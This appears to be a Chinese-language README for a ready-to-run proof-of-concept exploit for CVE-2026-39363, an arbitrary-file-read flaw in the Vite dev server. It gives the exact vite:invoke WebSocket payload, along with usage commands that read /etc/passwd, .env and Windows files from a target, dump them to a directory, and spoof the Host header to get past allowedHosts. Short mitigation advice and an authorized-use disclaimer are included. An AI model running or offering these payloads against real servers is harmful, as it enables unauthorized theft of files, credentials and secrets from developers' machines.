
方便实用的CVE-2026-39363利用工具
针对 GHSA-p9ff-h696-f583 的可直接运行 PoC。通过未鉴权的 HMR WebSocket
调用 fetchModule,绕过 HTTP 层的 server.fs.allow 限制,读取 dev server
所在机器上的任意文件。
| 版本线 | 受影响 | 已修复 |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (VoidZero 分支) | <=0.1.15 | 0.1.16 |
利用前提:
--host / server.host 配置),且server.ws: false 可关)。CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N),CWE-200 + CWE-306。
CISA SSVC 已标记 exploitation=poc, automatable=yes。
server.fs.allow 拦下(/@fs/<绝对路径> → 403)。Sec-WebSocket-Protocol: vite-hmr 头,以及?token= 查询参数(CWE-306:非浏览器客户端
不带 Origin 头即可直接连入)。vite:invoke 自定义事件调用服务端注册的 fetchModule
方法,传入 file://<绝对路径>?raw。fetchModule 直接走模块 transform
管道,完全绕过 fs.allow 检查,把文件内容作为 export default "..."
返回(CWE-200)。vite:invoke 请求消息结构(v6/v7/v8 一致):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
服务端回复 id 变为 1response,data.data.result.code 为文件内容。
仅需 Python 3 标准库,无第三方依赖:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
参数:
本仓库 PoC 已在以下环境实测通过(读取 dev server root 之外的 secret.txt,
HTTP @fs 路径同文件返回 403):
vite --host 0.0.0.0,Windows)复现步骤(与 PoC 相同链路):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + 静态托管,不要运行 vite dev。server.ws: false 禁用 HMR,或加反向代理只允许本机访问
dev server 端口。仅限在已获授权的渗透测试、漏洞复现和防御研究中使用。未经授权对他人 系统使用本工具造成的后果由使用者承担。
| 参数 | 说明 |
|---|
url | 目标,如 http://192.168.1.10:5173 |
files | 要读的绝对路径,POSIX 或 Windows 风格均可 |
--host-header | 伪造 Host 头(默认取目标 host)。默认仅对 IP/localhost 放行,自定义域名需显式配置 |
--ws-path | HMR WebSocket 路径,默认 /(若目标配置了 server.hmr.path 需修改) |
--timeout | 单请求超时秒数,默认 10 |
-o/--output-dir | 把读取内容保存到目录 |